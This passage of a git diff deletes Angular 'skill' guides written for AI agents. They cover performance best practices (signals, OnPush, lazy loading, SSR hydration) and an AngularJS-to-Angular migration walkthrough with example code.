- [ ] No async waterfalls (parallel data fetching)
|
||||
- [ ] Routes lazy-loaded
|
||||
- [ ] Large libraries code-split
|
||||
- [ ] Images use `NgOptimizedImage`
|
||||
|
||||
## Version
|
||||
|
||||
Current version: 1.0.0 (February 2026)
|
||||
|
||||
## References
|
||||
|
||||
- [Angular Performance](https://angular.dev/guide/performance)
|
||||
- [Zoneless Angular](https://angular.dev/guide/zoneless)
|
||||
- [Angular SSR](https://angular.dev/guide/ssr)
|
||||
@@ -1,562 +0,0 @@
|
||||
---
|
||||
name: angular-best-practices
|
||||
description: "Angular performance optimization and best practices guide. Use when writing, reviewing, or refactoring Angular code for optimal performance, bundle size, and rendering efficiency."
|
||||
risk: safe
|
||||
source: self
|
||||
---
|
||||
|
||||
# Angular Best Practices
|
||||
|
||||
Comprehensive performance optimization guide for Angular applications. Contains prioritized rules for eliminating performance bottlenecks, optimizing bundles, and improving rendering.
|
||||
|
||||
## When to Apply
|
||||
|
||||
Reference these guidelines when:
|
||||
|
||||
- Writing new Angular components or pages
|
||||
- Implementing data fetching patterns
|
||||
- Reviewing code for performance issues
|
||||
- Refactoring existing Angular code
|
||||
- Optimizing bundle size or load times
|
||||
- Configuring SSR/hydration
|
||||
|
||||
---
|
||||
|
||||
## Rule Categories by Priority
|
||||
|
||||
| Priority | Category | Impact | Focus |
|
||||
| -------- | --------------------- | ---------- | ------------------------------- |
|
||||
| 1 | Change Detection | CRITICAL | Signals, OnPush, Zoneless |
|
||||
| 2 | Async Waterfalls | CRITICAL | RxJS patterns, SSR preloading |
|
||||
| 3 | Bundle Optimization | CRITICAL | Lazy loading, tree shaking |
|
||||
| 4 | Rendering Performance | HIGH | @defer, trackBy, virtualization |
|
||||
| 5 | Server-Side Rendering | HIGH | Hydration, prerendering |
|
||||
| 6 | Template Optimization | MEDIUM | Control flow, pipes |
|
||||
| 7 | State Management | MEDIUM | Signal patterns, selectors |
|
||||
| 8 | Memory Management | LOW-MEDIUM | Cleanup, subscriptions |
|
||||
|
||||
---
|
||||
|
||||
## 1. Change Detection (CRITICAL)
|
||||
|
||||
### Use OnPush Change Detection
|
||||
|
||||
```typescript
|
||||
// CORRECT - OnPush with Signals
|
||||
@Component({
|
||||
changeDetection: ChangeDetectionStrategy.OnPush,
|
||||
template: `<div>{{ count() }}</div>`,
|
||||
})
|
||||
export class CounterComponent {
|
||||
count = signal(0);
|
||||
}
|
||||
|
||||
// WRONG - Default change detection
|
||||
@Component({
|
||||
template: `<div>{{ count }}</div>`, // Checked every cycle
|
||||
})
|
||||
export class CounterComponent {
|
||||
count = 0;
|
||||
}
|
||||
```
|
||||
|
||||
### Prefer Signals Over Mutable Properties
|
||||
|
||||
```typescript
|
||||
// CORRECT - Signals trigger precise updates
|
||||
@Component({
|
||||
template: `
|
||||
<h1>{{ title() }}</h1>
|
||||
<p>Count: {{ count() }}</p>
|
||||
`,
|
||||
})
|
||||
export class DashboardComponent {
|
||||
title = signal("Dashboard");
|
||||
count = signal(0);
|
||||
}
|
||||
|
||||
// WRONG - Mutable properties require zone.js checks
|
||||
@Component({
|
||||
template: `
|
||||
<h1>{{ title }}</h1>
|
||||
<p>Count: {{ count }}</p>
|
||||
`,
|
||||
})
|
||||
export class DashboardComponent {
|
||||
title = "Dashboard";
|
||||
count = 0;
|
||||
}
|
||||
```
|
||||
|
||||
### Enable Zoneless for New Projects
|
||||
|
||||
```typescript
|
||||
// main.ts - Zoneless Angular (v20+)
|
||||
bootstrapApplication(AppComponent, {
|
||||
providers: [provideZonelessChangeDetection()],
|
||||
});
|
||||
```
|
||||
|
||||
**Benefits:**
|
||||
|
||||
- No zone.js patches on async APIs
|
||||
- Smaller bundle (~15KB savings)
|
||||
- Clean stack traces for debugging
|
||||
- Better micro-frontend compatibility
|
||||
|
||||
---
|
||||
|
||||
## 2. Async Operations & Waterfalls (CRITICAL)
|
||||
|
||||
### Eliminate Sequential Data Fetching
|
||||
|
||||
```typescript
|
||||
// WRONG - Nested subscriptions create waterfalls
|
||||
this.route.params.subscribe((params) => {
|
||||
// 1. Wait for params
|
||||
this.userService.getUser(params.id).subscribe((user) => {
|
||||
// 2. Wait for user
|
||||
this.postsService.getPosts(user.id).subscribe((posts) => {
|
||||
// 3. Wait for posts
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
// CORRECT - Parallel execution with forkJoin
|
||||
forkJoin({
|
||||
user: this.userService.getUser(id),
|
||||
posts: this.postsService.getPosts(id),
|
||||
}).subscribe((data) => {
|
||||
// Fetched in parallel
|
||||
});
|
||||
|
||||
// CORRECT - Flatten dependent calls with switchMap
|
||||
this.route.params
|
||||
.pipe(
|
||||
map((p) => p.id),
|
||||
switchMap((id) => this.userService.getUser(id)),
|
||||
)
|
||||
.subscribe();
|
||||
```
|
||||
|
||||
### Avoid Client-Side Waterfalls in SSR
|
||||
|
||||
```typescript
|
||||
// CORRECT - Use resolvers or blocking hydration for critical data
|
||||
export const route: Route = {
|
||||
path: "profile/:id",
|
||||
resolve: { data: profileResolver }, // Fetched on server before navigation
|
||||
component: ProfileComponent,
|
||||
};
|
||||
|
||||
// WRONG - Component fetches data on init
|
||||
class ProfileComponent implements OnInit {
|
||||
ngOnInit() {
|
||||
// Starts ONLY after JS loads and component renders
|
||||
this.http.get("/api/profile").subscribe();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Bundle Optimization (CRITICAL)
|
||||
|
||||
### Lazy Load Routes
|
||||
|
||||
```typescript
|
||||
// CORRECT - Lazy load feature routes
|
||||
export const routes: Routes = [
|
||||
{
|
||||
path: "admin",
|
||||
loadChildren: () =>
|
||||
import("./admin/admin.routes").then((m) => m.ADMIN_ROUTES),
|
||||
},
|
||||
{
|
||||
path: "dashboard",
|
||||
loadComponent: () =>
|
||||
import("./dashboard/dashboard.component").then(
|
||||
(m) => m.DashboardComponent,
|
||||
),
|
||||
},
|
||||
];
|
||||
|
||||
// WRONG - Eager loading everything
|
||||
import { AdminModule } from "./admin/admin.module";
|
||||
export const routes: Routes = [
|
||||
{ path: "admin", component: AdminComponent }, // In main bundle
|
||||
];
|
||||
```
|
||||
|
||||
### Use @defer for Heavy Components
|
||||
|
||||
```html
|
||||
<!-- CORRECT - Heavy component loads on demand -->
|
||||
@defer (on viewport) {
|
||||
<app-analytics-chart [data]="data()" />
|
||||
} @placeholder {
|
||||
<div class="chart-skeleton"></div>
|
||||
}
|
||||
|
||||
<!-- WRONG - Heavy component in initial bundle -->
|
||||
<app-analytics-chart [data]="data()" />
|
||||
```
|
||||
|
||||
### Avoid Barrel File Re-exports
|
||||
|
||||
```typescript
|
||||
// WRONG - Imports entire barrel, breaks tree-shaking
|
||||
import { Button, Modal, Table } from "@shared/components";
|
||||
|
||||
// CORRECT - Direct imports
|
||||
import { Button } from "@shared/components/button/button.component";
|
||||
import { Modal } from "@shared/components/modal/modal.component";
|
||||
```
|
||||
|
||||
### Dynamic Import Third-Party Libraries
|
||||
|
||||
```typescript
|
||||
// CORRECT - Load heavy library on demand
|
||||
async loadChart() {
|
||||
const { Chart } = await import('chart.js');
|
||||
this.chart = new Chart(this.canvas, config);
|
||||
}
|
||||
|
||||
// WRONG - Bundle Chart.js in main chunk
|
||||
import { Chart } from 'chart.js';
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Rendering Performance (HIGH)
|
||||
|
||||
### Always Use trackBy with @for
|
||||
|
||||
```html
|
||||
<!-- CORRECT - Efficient DOM updates -->
|
||||
@for (item of items(); track item.id) {
|
||||
<app-item-card [item]="item" />
|
||||
}
|
||||
|
||||
<!-- WRONG - Entire list re-renders on any change -->
|
||||
@for (item of items(); track $index) {
|
||||
<app-item-card [item]="item" />
|
||||
}
|
||||
```
|
||||
|
||||
### Use Virtual Scrolling for Large Lists
|
||||
|
||||
```typescript
|
||||
import { CdkVirtualScrollViewport, CdkFixedSizeVirtualScroll } from '@angular/cdk/scrolling';
|
||||
|
||||
@Component({
|
||||
imports: [CdkVirtualScrollViewport, CdkFixedSizeVirtualScroll],
|
||||
template: `
|
||||
<cdk-virtual-scroll-viewport itemSize="50" class="viewport">
|
||||
<div *cdkVirtualFor="let item of items" class="item">
|
||||
{{ item.name }}
|
||||
</div>
|
||||
</cdk-virtual-scroll-viewport>
|
||||
`
|
||||
})
|
||||
```
|
||||
|
||||
### Prefer Pure Pipes Over Methods
|
||||
|
||||
```typescript
|
||||
// CORRECT - Pure pipe, memoized
|
||||
@Pipe({ name: 'filterActive', standalone: true, pure: true })
|
||||
export class FilterActivePipe implements PipeTransform {
|
||||
transform(items: Item[]): Item[] {
|
||||
return items.filter(i => i.active);
|
||||
}
|
||||
}
|
||||
|
||||
// Template
|
||||
@for (item of items() | filterActive; track item.id) { ... }
|
||||
|
||||
// WRONG - Method called every change detection
|
||||
@for (item of getActiveItems(); track item.id) { ... }
|
||||
```
|
||||
|
||||
### Use computed() for Derived Data
|
||||
|
||||
```typescript
|
||||
// CORRECT - Computed, cached until dependencies change
|
||||
export class ProductStore {
|
||||
products = signal<Product[]>([]);
|
||||
filter = signal('');
|
||||
|
||||
filteredProducts = computed(() => {
|
||||
const f = this.filter().toLowerCase();
|
||||
return this.products().filter(p =>
|
||||
p.name.toLowerCase().includes(f)
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
// WRONG - Recalculates every access
|
||||
get filteredProducts() {
|
||||
return this.products.filter(p =>
|
||||
p.name.toLowerCase().includes(this.filter)
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Server-Side Rendering (HIGH)
|
||||
|
||||
### Configure Incremental Hydration
|
||||
|
||||
```typescript
|
||||
// app.config.ts
|
||||
import {
|
||||
provideClientHydration,
|
||||
withIncrementalHydration,
|
||||
} from "@angular/platform-browser";
|
||||
|
||||
export const appConfig: ApplicationConfig = {
|
||||
providers: [
|
||||
provideClientHydration(withIncrementalHydration(), withEventReplay()),
|
||||
],
|
||||
};
|
||||
```
|
||||
|
||||
### Defer Non-Critical Content
|
||||
|
||||
```html
|
||||
<!-- Critical above-the-fold content -->
|
||||
<app-header />
|
||||
<app-hero />
|
||||
|
||||
<!-- Below-fold deferred with hydration triggers -->
|
||||
@defer (hydrate on viewport) {
|
||||
<app-product-grid />
|
||||
} @defer (hydrate on interaction) {
|
||||
<app-chat-widget />
|
||||
}
|
||||
```
|
||||
|
||||
### Use TransferState for SSR Data
|
||||
|
||||
```typescript
|
||||
@Injectable({ providedIn: "root" })
|
||||
export class DataService {
|
||||
private http = inject(HttpClient);
|
||||
private transferState = inject(TransferState);
|
||||
private platformId = inject(PLATFORM_ID);
|
||||
|
||||
getData(key: string): Observable<Data> {
|
||||
const stateKey = makeStateKey<Data>(key);
|
||||
|
||||
if (isPlatformBrowser(this.platformId)) {
|
||||
const cached = this.transferState.get(stateKey, null);
|
||||
if (cached) {
|
||||
this.transferState.remove(stateKey);
|
||||
return of(cached);
|
||||
}
|
||||
}
|
||||
|
||||
return this.http.get<Data>(`/api/${key}`).pipe(
|
||||
tap((data) => {
|
||||
if (isPlatformServer(this.platformId)) {
|
||||
this.transferState.set(stateKey, data);
|
||||
}
|
||||
}),
|
||||
);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Template Optimization (MEDIUM)
|
||||
|
||||
### Use New Control Flow Syntax
|
||||
|
||||
```html
|
||||
<!-- CORRECT - New control flow (faster, smaller bundle) -->
|
||||
@if (user()) {
|
||||
<span>{{ user()!.name }}</span>
|
||||
} @else {
|
||||
<span>Guest</span>
|
||||
} @for (item of items(); track item.id) {
|
||||
<app-item [item]="item" />
|
||||
} @empty {
|
||||
<p>No items</p>
|
||||
}
|
||||
|
||||
<!-- WRONG - Legacy structural directives -->
|
||||
<span *ngIf="user; else guest">{{ user.name }}</span>
|
||||
<ng-template #guest><span>Guest</span></ng-template>
|
||||
```
|
||||
|
||||
### Avoid Complex Template Expressions
|
||||
|
||||
```typescript
|
||||
// CORRECT - Precompute in component
|
||||
class Component {
|
||||
items = signal<Item[]>([]);
|
||||
sortedItems = computed(() =>
|
||||
[...this.items()].sort((a, b) => a.name.localeCompare(b.name))
|
||||
);
|
||||
}
|
||||
|
||||
// Template
|
||||
@for (item of sortedItems(); track item.id) { ... }
|
||||
|
||||
// WRONG - Sorting in template every render
|
||||
@for (item of items() | sort:'name'; track item.id) { ... }
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 7. State Management (MEDIUM)
|
||||
|
||||
### Use Selectors to Prevent Re-renders
|
||||
|
||||
```typescript
|
||||
// CORRECT - Selective subscription
|
||||
@Component({
|
||||
template: `<span>{{ userName() }}</span>`,
|
||||
})
|
||||
class HeaderComponent {
|
||||
private store = inject(Store);
|
||||
// Only re-renders when userName changes
|
||||
userName = this.store.selectSignal(selectUserName);
|
||||
}
|
||||
|
||||
// WRONG - Subscribing to entire state
|
||||
@Component({
|
||||
template: `<span>{{ state().user.name }}</span>`,
|
||||
})
|
||||
class HeaderComponent {
|
||||
private store = inject(Store);
|
||||
// Re-renders on ANY state change
|
||||
state = toSignal(this.store);
|
||||
}
|
||||
```
|
||||
|
||||
### Colocate State with Features
|
||||
|
||||
```typescript
|
||||
// CORRECT - Feature-scoped store
|
||||
@Injectable() // NOT providedIn: 'root'
|
||||
export class ProductStore { ... }
|
||||
|
||||
@Component({
|
||||
providers: [ProductStore], // Scoped to component tree
|
||||
})
|
||||
export class ProductPageComponent {
|
||||
store = inject(ProductStore);
|
||||
}
|
||||
|
||||
// WRONG - Everything in global store
|
||||
@Injectable({ providedIn: 'root' })
|
||||
export class GlobalStore {
|
||||
// Contains ALL app state - hard to tree-shake
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 8. Memory Management (LOW-MEDIUM)
|
||||
|
||||
### Use takeUntilDestroyed for Subscriptions
|
||||
|
||||
```typescript
|
||||
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
|
||||
|
||||
@Component({...})
|
||||
export class DataComponent {
|
||||
private destroyRef = inject(DestroyRef);
|
||||
|
||||
constructor() {
|
||||
this.data$.pipe(
|
||||
takeUntilDestroyed(this.destroyRef)
|
||||
).subscribe(data => this.process(data));
|
||||
}
|
||||
}
|
||||
|
||||
// WRONG - Manual subscription management
|
||||
export class DataComponent implements OnDestroy {
|
||||
private subscription!: Subscription;
|
||||
|
||||
ngOnInit() {
|
||||
this.subscription = this.data$.subscribe(...);
|
||||
}
|
||||
|
||||
ngOnDestroy() {
|
||||
this.subscription.unsubscribe(); // Easy to forget
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Prefer Signals Over Subscriptions
|
||||
|
||||
```typescript
|
||||
// CORRECT - No subscription needed
|
||||
@Component({
|
||||
template: `<div>{{ data().name }}</div>`,
|
||||
})
|
||||
export class Component {
|
||||
data = toSignal(this.service.data$, { initialValue: null });
|
||||
}
|
||||
|
||||
// WRONG - Manual subscription
|
||||
@Component({
|
||||
template: `<div>{{ data?.name }}</div>`,
|
||||
})
|
||||
export class Component implements OnInit, OnDestroy {
|
||||
data: Data | null = null;
|
||||
private sub!: Subscription;
|
||||
|
||||
ngOnInit() {
|
||||
this.sub = this.service.data$.subscribe((d) => (this.data = d));
|
||||
}
|
||||
|
||||
ngOnDestroy() {
|
||||
this.sub.unsubscribe();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference Checklist
|
||||
|
||||
### New Component
|
||||
|
||||
- [ ] `changeDetection: ChangeDetectionStrategy.OnPush`
|
||||
- [ ] `standalone: true`
|
||||
- [ ] Signals for state (`signal()`, `input()`, `output()`)
|
||||
- [ ] `inject()` for dependencies
|
||||
- [ ] `@for` with `track` expression
|
||||
|
||||
### Performance Review
|
||||
|
||||
- [ ] No methods in templates (use pipes or computed)
|
||||
- [ ] Large lists virtualized
|
||||
- [ ] Heavy components deferred
|
||||
- [ ] Routes lazy-loaded
|
||||
- [ ] Third-party libs dynamically imported
|
||||
|
||||
### SSR Check
|
||||
|
||||
- [ ] Hydration configured
|
||||
- [ ] Critical content renders first
|
||||
- [ ] Non-critical content uses `@defer (hydrate on ...)`
|
||||
- [ ] TransferState for server-fetched data
|
||||
|
||||
---
|
||||
|
||||
## Resources
|
||||
|
||||
- [Angular Performance Guide](https://angular.dev/best-practices/performance)
|
||||
- [Zoneless Angular](https://angular.dev/guide/experimental/zoneless)
|
||||
- [Angular SSR Guide](https://angular.dev/guide/ssr)
|
||||
- [Change Detection Deep Dive](https://angular.dev/guide/change-detection)
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,13 +0,0 @@
|
||||
{
|
||||
"version": "1.0.0",
|
||||
"organization": "Antigravity Awesome Skills",
|
||||
"date": "February 2026",
|
||||
"abstract": "Performance optimization and best practices guide for Angular applications designed for AI agents and LLMs. Covers change detection strategies (OnPush, Signals, Zoneless), avoiding async waterfalls, bundle optimization with lazy loading and @defer, rendering performance, SSR/hydration patterns, and memory management. Prioritized by impact from critical to incremental improvements.",
|
||||
"references": [
|
||||
"https://angular.dev/best-practices",
|
||||
"https://angular.dev/guide/performance",
|
||||
"https://angular.dev/guide/zoneless",
|
||||
"https://angular.dev/guide/ssr",
|
||||
"https://web.dev/performance"
|
||||
]
|
||||
}
|
||||
@@ -1,430 +0,0 @@
|
||||
---
|
||||
name: angular-migration
|
||||
description: "Migrate from AngularJS to Angular using hybrid mode, incremental component rewriting, and dependency injection updates. Use when upgrading AngularJS applications, planning framework migrations, or ..."
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# Angular Migration
|
||||
|
||||
Master AngularJS to Angular migration, including hybrid apps, component conversion, dependency injection changes, and routing migration.
|
||||
|
||||
## Use this skill when
|
||||
|
||||
- Migrating AngularJS (1.x) applications to Angular (2+)
|
||||
- Running hybrid AngularJS/Angular applications
|
||||
- Converting directives to components
|
||||
- Modernizing dependency injection
|
||||
- Migrating routing systems
|
||||
- Updating to latest Angular versions
|
||||
- Implementing Angular best practices
|
||||
|
||||
## Do not use this skill when
|
||||
|
||||
- You are not migrating from AngularJS to Angular
|
||||
- The app is already on a modern Angular version
|
||||
- You need only a small UI fix without framework changes
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Assess the AngularJS codebase, dependencies, and migration risks.
|
||||
2. Choose a migration strategy (hybrid vs rewrite) and define milestones.
|
||||
3. Set up ngUpgrade and migrate modules, components, and routing.
|
||||
4. Validate with tests and plan a safe cutover.
|
||||
|
||||
## Safety
|
||||
|
||||
- Avoid big-bang cutovers without rollback and staging validation.
|
||||
- Keep hybrid compatibility testing during incremental migration.
|
||||
|
||||
## Migration Strategies
|
||||
|
||||
### 1. Big Bang (Complete Rewrite)
|
||||
- Rewrite entire app in Angular
|
||||
- Parallel development
|
||||
- Switch over at once
|
||||
- **Best for:** Small apps, green field projects
|
||||
|
||||
### 2. Incremental (Hybrid Approach)
|
||||
- Run AngularJS and Angular side-by-side
|
||||
- Migrate feature by feature
|
||||
- ngUpgrade for interop
|
||||
- **Best for:** Large apps, continuous delivery
|
||||
|
||||
### 3. Vertical Slice
|
||||
- Migrate one feature completely
|
||||
- New features in Angular, maintain old in AngularJS
|
||||
- Gradually replace
|
||||
- **Best for:** Medium apps, distinct features
|
||||
|
||||
## Hybrid App Setup
|
||||
|
||||
```typescript
|
||||
// main.ts - Bootstrap hybrid app
|
||||
import { platformBrowserDynamic } from '@angular/platform-browser-dynamic';
|
||||
import { UpgradeModule } from '@angular/upgrade/static';
|
||||
import { AppModule } from './app/app.module';
|
||||
|
||||
platformBrowserDynamic()
|
||||
.bootstrapModule(AppModule)
|
||||
.then(platformRef => {
|
||||
const upgrade = platformRef.injector.get(UpgradeModule);
|
||||
// Bootstrap AngularJS
|
||||
upgrade.bootstrap(document.body, ['myAngularJSApp'], { strictDi: true });
|
||||
});
|
||||
```
|
||||
|
||||
```typescript
|
||||
// app.module.ts
|
||||
import { NgModule } from '@angular/core';
|
||||
import { BrowserModule } from '@angular/platform-browser';
|
||||
import { UpgradeModule } from '@angular/upgrade/static';
|
||||
|
||||
@NgModule({
|
||||
imports: [
|
||||
BrowserModule,
|
||||
UpgradeModule
|
||||
]
|
||||
})
|
||||
export class AppModule {
|
||||
constructor(private upgrade: UpgradeModule) {}
|
||||
|
||||
ngDoBootstrap() {
|
||||
// Bootstrapped manually in main.ts
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Component Migration
|
||||
|
||||
### AngularJS Controller → Angular Component
|
||||
```javascript
|
||||
// Before: AngularJS controller
|
||||
angular.module('myApp').controller('UserController', function($scope, UserService) {
|
||||
$scope.user = {};
|
||||
|
||||
$scope.loadUser = function(id) {
|
||||
UserService.getUser(id).then(function(user) {
|
||||
$scope.user = user;
|
||||
});
|
||||
};
|
||||
|
||||
$scope.saveUser = function() {
|
||||
UserService.saveUser($scope.user);
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
```typescript
|
||||
// After: Angular component
|
||||
import { Component, OnInit } from '@angular/core';
|
||||
import { UserService } from './user.service';
|
||||
|
||||
@Component({
|
||||
selector: 'app-user',
|
||||
template: `
|
||||
<div>
|
||||
<h2>{{ user.name }}</h2>
|
||||
<button (click)="saveUser()">Save</button>
|
||||
</div>
|
||||
`
|
||||
})
|
||||
export class UserComponent implements OnInit {
|
||||
user: any = {};
|
||||
|
||||
constructor(private userService: UserService) {}
|
||||
|
||||
ngOnInit() {
|
||||
this.loadUser(1);
|
||||
}
|
||||
|
||||
loadUser(id: number) {
|
||||
this.userService.getUser(id).subscribe(user => {
|
||||
this.user = user;
|
||||
});
|
||||
}
|
||||
|
||||
saveUser() {
|
||||
this.userService.saveUser(this.user);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### AngularJS Directive → Angular Component
|
||||
```javascript
|
||||
// Before: AngularJS directive
|
||||
angular.module('myApp').directive('userCard', function() {
|
||||
return {
|
||||
restrict: 'E',
|
||||
scope: {
|
||||
user: '=',
|
||||
onDelete: '&'
|
||||
},
|
||||
template: `
|
||||
<div class="card">
|
||||
<h3>{{ user.name }}</h3>
|
||||
<button ng-click="onDelete()">Delete</button>
|
||||
</div>
|
||||
`
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
```typescript
|
||||
// After: Angular component
|
||||
import { Component, Input, Output, EventEmitter } from '@angular/core';
|
||||
|
||||
@Component({
|
||||
selector: 'app-user-card',
|
||||
template: `
|
||||
<div class="card">
|
||||
<h3>{{ user.name }}</h3>
|
||||
<button (click)="delete.emit()">Delete</button>
|
||||
</div>
|
||||
`
|
||||
})
|
||||
export class UserCardComponent {
|
||||
@Input() user: any;
|
||||
@Output() delete = new EventEmitter<void>();
|
||||
}
|
||||
|
||||
// Usage: <app-user-card [user]="user" (delete)="handleDelete()"></app-user-card>
|
||||
```
|
||||
|
||||
## Service Migration
|
||||
|
||||
```javascript
|
||||
// Before: AngularJS service
|
||||
angular.module('myApp').factory('UserService', function($http) {
|
||||
return {
|
||||
getUser: function(id) {
|
||||
return $http.get('/api/users/' + id);
|
||||
},
|
||||
saveUser: function(user) {
|
||||
return $http.post('/api/users', user);
|
||||
}
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
```typescript
|
||||
// After: Angular service
|
||||
import { Injectable } from '@angular/core';
|
||||
import { HttpClient } from '@angular/common/http';
|
||||
import { Observable } from 'rxjs';
|
||||
|
||||
@Injectable({
|
||||
providedIn: 'root'
|
||||
})
|
||||
export class UserService {
|
||||
constructor(private http: HttpClient) {}
|
||||
|
||||
getUser(id: number): Observable<any> {
|
||||
return this.http.get(`/api/users/${id}`);
|
||||
}
|
||||
|
||||
saveUser(user: any): Observable<any> {
|
||||
return this.http.post('/api/users', user);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Dependency Injection Changes
|
||||
|
||||
### Downgrading Angular → AngularJS
|
||||
```typescript
|
||||
// Angular service
|
||||
import { Injectable } from '@angular/core';
|
||||
|
||||
@Injectable({ providedIn: 'root' })
|
||||
export class NewService {
|
||||
getData() {
|
||||
return 'data from Angular';
|
||||
}
|
||||
}
|
||||
|
||||
// Make available to AngularJS
|
||||
import { downgradeInjectable } from '@angular/upgrade/static';
|
||||
|
||||
angular.module('myApp')
|
||||
.factory('newService', downgradeInjectable(NewService));
|
||||
|
||||
// Use in AngularJS
|
||||
angular.module('myApp').controller('OldController', function(newService) {
|
||||
console.log(newService.getData());
|
||||
});
|
||||
```
|
||||
|
||||
### Upgrading AngularJS → Angular
|
||||
```typescript
|
||||
// AngularJS service
|
||||
angular.module('myApp').factory('oldService', function() {
|
||||
return {
|
||||
getData: function() {
|
||||
return 'data from AngularJS';
|
||||
}
|
||||
};
|
||||
});
|
||||
|
||||
// Make available to Angular
|
||||
import { InjectionToken } from '@angular/core';
|
||||
|
||||
export const OLD_SERVICE = new InjectionToken<any>('oldService');
|
||||
|
||||
@NgModule({
|
||||
providers: [
|
||||
{
|
||||
provide: OLD_SERVICE,
|
||||
useFactory: (i: any) => i.get('oldService'),
|
||||
deps: ['$injector']
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
// Use in Angular
|
||||
@Component({...})
|
||||
export class NewComponent {
|
||||
constructor(@Inject(OLD_SERVICE) private oldService: any) {
|
||||
console.log(this.oldService.getData());
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Routing Migration
|
||||
|
||||
```javascript
|
||||
// Before: AngularJS routing
|
||||
angular.module('myApp').config(function($routeProvider) {
|
||||
$routeProvider
|
||||
.when('/users', {
|
||||
template: '<user-list></user-list>'
|
||||
})
|
||||
.when('/users/:id', {
|
||||
template: '<user-detail></user-detail>'
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
```typescript
|
||||
// After: Angular routing
|
||||
import { NgModule } from '@angular/core';
|
||||
import { RouterModule, Routes } from '@angular/router';
|
||||
|
||||
const routes: Routes = [
|
||||
{ path: 'users', component: UserListComponent },
|
||||
{ path: 'users/:id', component: UserDetailComponent }
|
||||
];
|
||||
|
||||
@NgModule({
|
||||
imports: [RouterModule.forRoot(routes)],
|
||||
exports: [RouterModule]
|
||||
})
|
||||
export class AppRoutingModule {}
|
||||
```
|
||||
|
||||
## Forms Migration
|
||||
|
||||
```html
|
||||
<!-- Before: AngularJS -->
|
||||
<form name="userForm" ng-submit="saveUser()">
|
||||
<input type="text" ng-model="user.name" required>
|
||||
<input type="email" ng-model="user.email" required>
|
||||
<button ng-disabled="userForm.$invalid">Save</button>
|
||||
</form>
|
||||
```
|
||||
|
||||
```typescript
|
||||
// After: Angular (Template-driven)
|
||||
@Component({
|
||||
template: `
|
||||
<form #userForm="ngForm" (ngSubmit)="saveUser()">
|
||||
<input type="text" [(ngModel)]="user.name" name="name" required>
|
||||
<input type="email" [(ngModel)]="user.email" name="email" required>
|
||||
<button [disabled]="userForm.invalid">Save</button>
|
||||
</form>
|
||||
`
|
||||
})
|
||||
|
||||
// Or Reactive Forms (preferred)
|
||||
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
|
||||
|
||||
@Component({
|
||||
template: `
|
||||
<form [formGroup]="userForm" (ngSubmit)="saveUser()">
|
||||
<input formControlName="name">
|
||||
<input formControlName="email">
|
||||
<button [disabled]="userForm.invalid">Save</button>
|
||||
</form>
|
||||
`
|
||||
})
|
||||
export class UserFormComponent {
|
||||
userForm: FormGroup;
|
||||
|
||||
constructor(private fb: FormBuilder) {
|
||||
this.userForm = this.fb.group({
|
||||
name: ['', Validators.required],
|
||||
email: ['', [Validators.required, Validators.email]]
|
||||
});
|
||||
}
|
||||
|
||||
saveUser() {
|
||||
console.log(this.userForm.value);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Migration Timeline
|
||||
|
||||
```
|
||||
Phase 1: Setup (1-2 weeks)
|
||||
- Install Angular CLI
|
||||
- Set up hybrid app
|
||||
- Configure build tools
|
||||
- Set up testing
|
||||
|
||||
Phase 2: Infrastructure (2-4 weeks)
|
||||
- Migrate services
|
||||
- Migrate utilities
|
||||
- Set up routing
|
||||
- Migrate shared components
|
||||
|
||||
Phase 3: Feature Migration (varies)
|
||||
- Migrate feature by feature
|
||||
- Test thoroughly
|
||||
- Deploy incrementally
|
||||
|
||||
Phase 4: Cleanup (1-2 weeks)
|
||||
- Remove AngularJS code
|
||||
- Remove ngUpgrade
|
||||
- Optimize bundle
|
||||
- Final testing
|
||||
```
|
||||
|
||||
## Resources
|
||||
|
||||
- **references/hybrid-mode.md**: Hybrid app patterns
|
||||
- **references/component-migration.md**: Component conversion guide
|
||||
- **references/dependency-injection.md**: DI migration strategies
|
||||
- **references/routing.md**: Routing migration
|
||||
- **assets/hybrid-bootstrap.ts**: Hybrid app template
|
||||
- **assets/migration-timeline.md**: Project planning
|
||||
- **scripts/analyze-angular-app.sh**: App analysis script
|
||||
|
||||
## Best Practices
|
||||
|
||||
1. **Start with Services**: Migrate services first (easier)
|
||||
2. **Incremental Approach**: Feature-by-feature migration
|
||||
3. **Test Continuously**: Test at every step
|
||||
4. **Use TypeScript**: Migrate to TypeScript early
|
||||
5. **Follow Style Guide**: Angular style guide from day 1
|
||||
6. **Optimize Later**: Get it working, then optimize
|
||||
7. **Document**: Keep migration notes
|
||||
|
||||
## Common Pitfalls
|
||||
|
||||
- Not setting up hybrid app correctly
|
||||
- Migrating UI before logic
|
||||
- Ignoring change detection differences
|
||||
- Not handling scope properly
|
||||
- Mixing patterns (AngularJS + Angular)
|
||||
- Inadequate testing
|
||||
@@ -1,41 +0,0 @@
|
||||
# Angular State Management
|
||||
|
||||
Complete state management patterns for Angular applications optimized for AI agents and LLMs.
|
||||
|
||||
## Overview
|
